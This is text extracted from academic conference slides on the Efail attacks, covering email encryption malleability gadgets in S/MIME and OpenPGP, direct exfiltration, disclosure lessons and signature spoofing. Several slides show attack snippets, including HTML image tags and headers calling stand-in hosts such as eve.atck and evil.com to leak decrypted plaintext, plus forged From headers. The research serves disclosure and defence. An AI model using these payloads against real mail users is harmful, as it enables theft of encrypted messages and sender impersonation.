Efail attack and it its im implications
Damian Poddebniak1, Christian Dresen1, Jens Müller2, Fabian Ising1, Sebastian Schinzel1, Simon Friedberger3, Juraj Somorovsky2, Jörg Schwenk2
Juraj Somorovsky
Efail attack and it its im implications Juraj Somorovsky Damian - - PowerPoint PPT Presentation
Efail attack and it its im implications Juraj Somorovsky Damian Poddebniak 1 , Christian Dresen 1 , Jens Mller 2 , Fabian Ising 1 , Sebastian Schinzel 1 , Simon Friedberger 3 , Juraj Somorovsky 2 , Jrg Schwenk 2 About this talk Efail:
Damian Poddebniak1, Christian Dresen1, Jens Müller2, Fabian Ising1, Sebastian Schinzel1, Simon Friedberger3, Juraj Somorovsky2, Jörg Schwenk2
Juraj Somorovsky
Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2018
Müller, Marcus Brinkmann, Damian Poddebniak, Hanno Böck, Sebastian Schinzel, Juraj Somorovsky, Jörg Schwenk. USENIX Security 2019
3
4
From: Alice To: Bob Subject: Breaking News Congratulations, you have been promoted!
5
From: Alice To: Bob Subject: Breaking News Content-Type: text/plain Congratulations, you have been promoted!
6
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/mixed; boundary="BOUNDARY"
Content-type: text/plain Congratulations, you have been promoted!
Content-type: application/pdf Contract...
smtp.corp1 av1.com archive.corp1 smtp.corp2 av2.com archive.corp2 imap.corp1 imap.corp2
imap.corp1 smtp.corp1 av1.com archive.corp1
10
imap.corp1 smtp.corp1 av1.com archive.corp1
Insecure Transport
Nation state attackers (see also lecture given by Tibor)
Breach of email provider / email account
12
OpenPGP (RFC 4880)
S/MIME (RFC 5751)
13
14
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“
Content-type: text/plain Congratulations, you have been promoted!
Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==
15
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“
Content-type: text/plain Congratulations, you have been promoted!
Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==
16
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY“; protocol="application/pkcs7-signature“
Content-type: text/plain Congratulations, you have been promoted!
Content-Type: application/pkcs7-signature Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFAD… OlA9pggcyAAAAAAAAA==
17
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/signed; boundary="BOUNDARY"; protocol="application/pgp-signature“
Content-type: text/plain Congratulations, you have been promoted!
Content-Type: application/pgp-signature
iQE/BAEBAgApBQJbW1tqIhxCcnVjZSBXYXluZSA8YnJ1Y2V3YX…
18
From: Alice To: Bob Subject: Breaking News Content-Type: multipart/encrypted; boundary="BOUNDARY"; protocol="application/pgp-encrypted";
Content-Type: application/octet-stream; name="encrypted.asc" Content-Description: OpenPGP encrypted message Content-Disposition: inline; filename="encrypted.asc"
hQIMA0Zy9l4Cw+FaAQ//YewiWjMoX2BebbwJQJMJxvHRoF30NjkZe88m9kGts/tn DgkUPQEgJJJq/K1TwyAvR8tSLq…
Known limitations!
Usability Snowden Effekt
Enigmail New keys at keyserver Hard for S/MIME
Opsec von Snowden und thegruq Ver- und Entschlüsselung nur in separater Anwendung!
19
551155
Some tutorials recommend using PGP outside of email client. Others recommended Enigmail in default settings (i.e. HTML switched on)
20
21
22 ‘06 ‘15 ‘99
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
23
24 https://sourceforge.net/p/enigmail/forum/support/thread/3e7268a4/
25
https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/
26
https://www.heise.de/security/meldung/c-t-deckt-auf-Enigmail-verschickt-Krypto-Mails-im-Klartext-4180405.html
Ciphertext C = Enc(M) C1 valid/invalid M = Dec(C) C2 valid/invalid … (repeated several times)
27
CBC / CFB modes of operation used, but their usage is not exploitable
29
Old crypto has no negative impact
network
30
<img src="http://efail.de"> <object data="ftp://efail.de"> <style>@import '//efail.de'</style> ... XSS cheat sheets Disposition-Notification-To: eve@evil.com Remote-Attachment-URL: http://efail.de X-Image-URL: http://efail.de … OCSP, CRL, intermediate certs PDF, SVG, VCards, etc.
Windows Linux macOS iOS Android Webmail Webapp
Outlook IBM Notes Postbox Foxmail Live Mail Pegasus The Bat! Mulberry eM Client
Thunderbird
Evolution KMail Trojitá Claws Mutt
Apple Mail
Airmail MailMate Mail App
CanaryMail
Outlook K-9 Mail R2Mail MailDroid Nine GMail
Outlook.com
Yahoo! iCloud GMX
HushMail
Mail.ru FastMail
Roundcube
RainLoop AfterLogic
Horde IMP
ProtonMail
Mailfence Mailbox ZoHo Mail
leak by default ask user leak via bypass script execution
W8Mail W10Mail WLMail
Mailpile Exchange GroupWise
31
32
33
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
34
Source: wikipedia
36
decryption
C1 P0
decryption
C2 P1 C0
37
decryption
Content-type: te
C1 P0'
decryption
xt/html\nDear Bob
C2 P1 C0'
38
decryption
Zontent-type: te
C1 P0'
decryption
xt/html\nDear Bob
C2 P1 C0'
39
C0 ⊕ P0
decryption
0000000000000000
C1 P0'
decryption
xt/html\nDear Bob
C2 P1
CBC Gadget
40
C0 ⊕ P0 ⊕ Pc
decryption
<img src=”ev.il/
C1 P0'
decryption
xt/html\nDear Bob
C2 P1
41
decryption
Content-type: te
C1' P0'
decryption
Zt/html\nDear Bob
C2 P1' C0
42
decryption
????????????????
C1' P0'
decryption
Zt/html\nDear Bob
C2 P1' C0
43
???????????????? <img " Content-type: te xt/html\nDear Sir
ecret meeting wi ???????????????? " src="efail.de/ ???????????????? Content-type: te xt/html\nDear Sir
???????????????? "> Original Crafted
44
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
46
48
Ci Pi (known) Ci+1 Pi-1
encryption encryption
X Ci
encryption
Pc (chosen)
random plaintext
? ? ? ? ? ? ? ?
encryption
50
Vulnerable Not Vulnerable
Client Plugin (up to version) MDC Stripped MDC Incorrect SEIP -> SE
Outlook 2007 GPG4WIN 3.0.0 Outlook 2010 GPG4WIN Outlook 2013 GPG4WIN Outlook 2016 GPG4WIN Thunderbird Enigmail 1.9.9 Apple Mail (OSX) GPGTools 2018.01
54
55
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
56
57
Encrypting Alice writes a Mail to Bob
From: Alice To: Bob Dear Bob, the meeting tomorrow will be at 9 o‘clock.
hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…
Alice’s mail program encrypts the email
58
Original E-Mail Eve’s attack E-Mail
Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob From: Alice To: Bob
Eve modifies the email and sends it to Bob or Alice Eve captures the encrypted mail between Alice and Bob
hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…
59
Bob’s mail program decrypts the email Decrypting Eve’s attack E-Mail
Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> From: Eve To: Bob
Bob’s mail program puts the clear text back into the body
hQIMA1n/0nhVYSIBARAAiIsX1QsH ZObL2LopVexVVZ1uvk3wieArHUg…
Dear Bob, the meeting tomorrow will be at 9 o‘clock.
60
Eve’s attack E-Mail
Content-Type: text/html <img src="http://eve.atck/ Content-Type: text/html "> Dear Bob, the meeting tomorrow will be at 9 o‘clock. Content-Type: text/html <img src="http://eve.atck/Dear Bob, the meeting tomorrow will be at 9 o‘clock.“> From: Eve To: Bob GET /Dear%20Bob%2C%0D%0Athe %20meeting%20tomorrow%20will %20be%20at%209%20o%E2%80%98c lock.
Eve
61
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
62
63
S/MIME OpenPGP
Recap:
with single malicious email.
either
64
67
68
An independent summary of the disclosure timeline, compiled from public information.
http://flaked.sockpuppet.org/2018/05/16/a-unified-timeline.html
1. Stick to a 90 day disclosure deadline. 2. Be careful with disclosure pre-announcements, because:
a) underrate/overrate the risk, and b) spread false information.
3. Controlling information flow right after disclosure is essential.
70
Having a website with general information is necessary (logo ???)
71
72
75
…and of course, there are also different problems
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
77
Attacker-controlled UI elements
We attack the presentation and interpretation of email signatures. We do not attack the underlying cryptography.
80
As a cryptographer, you should consider this as a neat warning that strong crypto is not everything
◐ Partial forgery
82
83
◐ Partial forgery
84
◐ Partial forgery
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
86
87
88
89
90
91
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
92
93
94
95
Eve <eve@evil.com> From: Displayed sender Verification logic
96
From: manager@work.com From: eve@evil.com From: manager@work.com <eve@evil.com> Displayed sender Verification logic From: manager@work.com Sender: eve@evil.com Reply-to: manager@work.com
97
From: manager@work.com [ whitespace ] <eve@evil.com> [valid signature by eve@evil.com] <eve@evil.com>
98
99
106
1. Breaking Email Encryption 1. Malleability Gadget Attacks on S/MIME 2. Malleability Gadget Attacks on OpenPGP 3. Direct Exfiltration Attacks 4. Responsible Disclosure 2. Breaking Email Signatures 1. UI Redressing 2. Identity Binding 3. Conclusions
107
108